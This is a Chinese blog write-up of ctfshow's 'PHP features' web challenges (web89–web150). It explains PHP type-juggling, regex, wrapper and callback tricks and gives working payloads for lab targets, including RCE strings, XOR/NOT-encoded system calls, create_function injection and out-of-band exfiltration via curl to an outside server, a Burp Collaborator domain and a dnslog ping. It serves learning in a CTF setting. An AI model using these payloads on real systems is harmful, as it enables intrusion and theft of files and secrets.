CTFshow-WEB入门-PHP特性(持续更新)
web89利用intval的这个特性:非空的数组会返回1,因此利用数组绕过。web90两种方式:?num=4476a?num=0x117cweb91考察了preg_match的/m模式。默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。因此?cmd=php%0a1即可web92<?phpin
web89
利用intval的这个特性:
非空的数组会返回1,因此利用数组绕过。
web90
两种方式:
?num=4476a
?num=0x117c
web91
考察了preg_match的/m模式。
默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。
因此?cmd=php%0a1
即可
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
第一反应是进制绕过:?num=0x117c
,确实可以。
看了一下hint,原来除了0x,0,等,还有e这个特殊的东西,也就是科学计数法。
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
在弱类型比较的时候,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476,成功绕过,非常巧妙。
web93
和之前一样,但是过滤了字母,所以16进制0x不行,但是可以用8八进制:
?num=010574
web94
必须可以找到0但是不能在首位,而且不能有字母,因此进制绕过不行。
我想的是拿特殊字符:
4476,0
确实可以,除了逗号,其他的字符基本都可以。看了一下hint:
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
思路基本一样。
web95
利用八进制,但是前面需要加东西。经过测试,加号和空格可以,加号比较好理解,但是空格为什么可以我也很迷。。。
?num= 010574
?num=+010574
web96
还是自己太菜了,一些重要的小trick在关键时刻想不起来。
?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php
利用伪协议来绕过这个姿势在很多环境中都可能有妙用。
web97
md5的老套路了:
a[]=1&b[]=2
web98
一开始我没看懂&是啥意思,但是做出来了,看了一眼WP才突然想起来这是取地址的意思(应该吧,我照着C语言的&理解的)。
这题中间的两行代码没什么用,最终payload如下:
web99
in_array函数的漏洞:
因为没有设置第三个参数,所以默认是弱类型比较,碰运气试数字.php,比如1.php,运气好就可以写进马。
web100
以前还真没怎么注意过 and。。原来还是运算符顺序的问题:
所以我们只要让v1是is_numeric就可以了。
这题的预期解是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里,payload如下:
?v1=1&v2=echo new ReflectionClass&v3=;
关于反射类,羽师傅的WP里给出了这个例子,以供学习:
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
当然因为这题没有什么过滤,所以命令执行也是可以的:
?v1=1&v2=system("ls")/*&v3=*/;
可以说干啥都行。
web101
修复了上一题的非预期,还是用反射类即可。
web102
我一看到substr($v2,2)就知道肯定考十六进制绕过is_numeric,想着随便绕,然后我发现了php7的环境,一脸懵逼。
想了一下思路,可以用伪协议的base64把一些<? ?> ; () # [] 这些符号变成数字大小写字母啥的,回调函数那里可以用一些进制转换的函数,不过我忘记了hex2bin。。。然后就卡住了。
看了一下WP,思路还是没错了,不过就是忘记了hex2bin这个函数:
如何绕过is_numeric呢?利用e,科学计数法就可以了,不过就需要找构造是纯数字和e的,比较难,放一下大师傅的payload:
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
web103
同上
web104
v1和v2传相同的值都行吧。。。0限制的题吗。。出错了吧。。。
web105
变量覆盖,利用die输出$error或者$suces,之前把$flag的覆盖给他们。
通过error输出:
通过suces输出:
ba$flag给$feng,然后让$_POST[‘flag’]和$flag都为null,$suces=$feng即可。
web106
没啥好说的,都是弱类型比较,去数组绕过,0e绕过或者sha1碰撞。
web107
parse_str将字符串解析成多个变量。
web108
利用ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
所以构造如下:
?c=a%00778
web109
因为只要有字母就行,所以利用PHP已有的类闭合一下,然后构造命令执行即可。
?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a
中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system("ls"));
,先执行的system。
web110
又是姿势盲区,考察的是FilesystemIterator类的使用,简单的使用参考羽师傅的图片:
获取当前的目录则可以用getcwd函数,所以payload如下:
?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。
web111
学完就忘。。利用PHP的超全局变量$GLOBALS
?v1=ctfshow&v2=GLOBALS
web112
绕过is_file,然后highlight_file,很明显用伪协议。
php://filter/resource=flag.php
hint中还有这些
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
还是姿势盲区,payload如下:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
这个姿势应该是PHP的一个比较新的特性,在WMCTF2020里出了一题来考它:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这里使用的是PHP最新版的小Trick,require_once包含的软链接层数较多事 once 的 hash 匹配会直接失效造成重复包含
而/proc/self/root指向的就是根目录/,具体这种姿势的底层的原理就不得而知了,还是能力不够,没法深入到那种程度,现在自己会用就行。至于为什么这个姿势也可以用来绕过is_file的检验,可能底层原理是类似的吧。
web114
没过滤php://filter。。。。
web115
不太会,看了一下羽师傅的WP,写个PHPfuzz出来。
<?php
for($i=0;$i<=128;$i++){
$str=chr($i)."1";
if(is_numeric($str)){
echo urlencode(chr($i))."<br>";
}
}
<?php
for($i=0;$i<=128;$i++){
$str=chr($i)."1";
if(is_numeric($str)&& trim($str)!=='1'){
echo urlencode(chr($i))."<br>";
}
}
只有%0c符合条件:
?num=%0c36
其实这也是一种思路,对于绕过,如果不知道怎么绕过就拿ASCII码把所有字符跑一遍。
web123
比较难的地方就是$_POST['CTF_SHOW.COM']
的构造,想构造出.,需要前面带上[,后面用.就可以不变成_。当然也可以用脚本跑出来。
最终payload如下:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125
才注意到那个$_SERVER['argv']
:
参考一下羽师傅博客:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
可以在本地开启register_argc_argv后测试一下:
<?php
var_dump($_SERVER['argv']);
因此可以把代码写到get的查询语句中,然后eval($a[0])
执行即可。
看了一下羽师傅的博客,本题的预期解是这样:
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
可以用加号+进行分隔,从而使得$_SERVER['argv']
这个array不仅仅只有[0]。
web126
同上
web127
对_url编码一次即可,$_SERVER['QUERY_STRING'];
获取的查询语句是服务端还没url解码的,所以url编码绕过即可:
?ctf%5fshow=ilove36d
web128
又是姿势盲区,是gettext拓展的使用:
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
在开启该拓展后 _() 等效于 gettext()
所以有了gettext,直接构造即可:
?f1=_&f2=get_defined_vars
web129
构造的f中需要有ctfshow,但是又不影响读flag.php,姿势还是挺多的:
?f=php://filter/ctfshow|/resource=flag.php
?f=./ctfshow/../flag.php
web130
看到这个正则匹配:if(preg_match('/.+?ctfshow/is', $f)){
,比较容易想到回溯,因为让我绕我也想不出来怎么去绕过。。。不过回溯肯定可以。
学习一下P神的博客:PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
url='http://f94875cc-6b28-46e2-a59c-4ad652d03be2.chall.ctf.show/'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
看了一下羽师傅的WP,原来还能数组绕过。。。是个非预期:
f[]=1
stripos应用于数组的时候会返回null,null!==false,所以非预期了。
又看了一眼hint,我又震惊了:f=ctfshow
。发生甚么事了?
又查了一下,原来对这正则表达式的理解还是不太对:/.+?ctfshow/is
在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。
web131
回溯。见上。
web132
在/admin/index.php
因为||的优先级低于&&所以可以这样理解:
if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
所以满足username==="admin"
就可以了。
web133
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
一个比较有意思的姿势,因为eval前6个字母,所以基本上不可能执行出什么命令,所以这样:
?F=`$F` ;ls;
取前6个字母正好是`$F` ;因此相当于执行:
eval(`$F` ;);
``$F` ;ls;`
因此后面的命令可以随意构造。不过比较麻烦的就是反引号是没有回显的,需要弹shell或者用curl。这题bash弹shell失败了,所以只能curl。
我curl的方式是这样:
?F=`$F` ;curl http://118.***.***.***/`tail -n 1 flag.php|base64`;
因为flag.php内容太多,直接get的话显示不全,而且会在传输过程中丢失一些字符,所以只读最后一行,然后base64加密。
看了一下羽师傅的WP,学习到了一种用burp suite进行curl回显的方式:
payload: curl -X POST -F xx=@flag.php http://xxx
?F=`$F` ;curl -X post -F xx=@flag.php http://o1qcs5wj2bwp1c2phocymh1k1b71vq.burpcollaborator.net;
得到flag:
看来burp suite其实还有许许多多的有用的功能呢。
web134
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
既然是extract的$_POST
,就利用parse_str把$_POST
给覆盖掉,payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
其实跟没过滤没啥区别,既然不弹shell也不curl,直接在文件系统里写就完了。
这里提供2个简单的思路,当然其他的思路肯定也可以:
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
又看了一下羽师傅的WP,又学到新东西了,就是通过ping来得到命令执行的结果,应对命令执行无回显又有一种新姿势了。不过好像在135题这个环境不行,在133题的环境里可以,我复现一下。
利用ping的原理就是DNS请求:
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)
利用工具:DNSLOG:
?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn
web136
又从羽师傅的题那里学习到了新东西了,这题主要问题就是ban了.和<>,因为ban了.,所以很难反弹shell,那些命令的ban并没有什么用,用’’,"",``都可以绕过。
又学习到了把命令执行的内容写入文件的一种新姿势:
ls /|tee 1
就可以把ls /执行的结果写入1这个文件中,剩下的就是正常的命令执行了。
web137
call_user_func这个回调函数的简单使用,确实没难度:
ctfshow=ctfshow::getFlag
web138
相当于过滤了:,没法::这样使用静态方法了,看了一下WP,又学习到了新的东西,其实还是对PHP文档不熟,这是PHP文档下面的例子:
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
盲打。。。暂时放一下。。
web140
太开放了,只要让intval($code)
是0就可以,实际上乱弄一些函数都可以,最后得到的结果是null同样符合条件,所以这题过于开放了:
f1=getallheaders&f2=end
等等等。。。。
web141
又学习到新东西了。
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
自己还是太菜了。首先是那个正则表达式,\W是反义,匹配任意不是字母,数字,下划线,汉字的字符。这里可以无数字字母rce,但是我没想到。。。太菜了。。。
既然v3可以无数字字母rce,正常是直接构造就可以的,但是这题有个return。php官方文档写着:
return会中止当前字符串的执行。什么意思呢,看这两个例子:
eval("phpinfo();return 1;");
eval("return 1;phpinfo();")
第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval("return phpinfo();")
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1
,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以:
?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-
web142
v1=0。。。确实没难度。
web143
没ban异或,那就用异或
?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^
web144
随便构造就行:
?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1
web145
取反和或都没ban:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
不过这题的考点其实是三目运算符。。。
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):
因为ban的少了,所以会有非预期,不过其实都差不多。
web146
同上
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
web147
是P神代码审计小密圈2周年的一道题目,考点也比较明显,是create_function的代码注入,参考如下:解析create_function() && 复现
原理就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了。但是这题相对难办的是这个正则:
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
正常的思路肯定就是在create_function的最前面或者尾部fuzz所有的ASCII字母,可以发现\是可以成功的。
那么为什么呢?这涉及到了php命令空间,就类似linux的路径一样,flag.txt就是在当前目录下,/flag.txt是根目录下的。而在php中,可以自己定义命名空间,但是最根本,最大的命名空间就是\,正常我们调用create_function函数,其实是调用的\这个命名空间下的函数,即\create_function,带上\相当于linux中的绝对路径的写法。因此最终payload如下:
?show=}system("cat flag.php");/*
ctf=\create_function
web148
没过滤异或,直接异或构造就完事了。
?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();
web149
比较明显的条件竞争,但是条件竞争到的概率太低了,可能和网速和服务器有关系,我这跑了几分钟都没竞争到,想了想不如直接往index.php写马,就可以了。
web150
没啥好说的,2个非预期一个是包含日志文件,另一个是包含session文件,可以自己尝试,这题主要是预期解,利用phpinfo。
参考文章:
PHP文件包含漏洞(利用phpinfo)
不过改预期解的那个exp老是改不好。。。暂时咕咕咕了这题。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)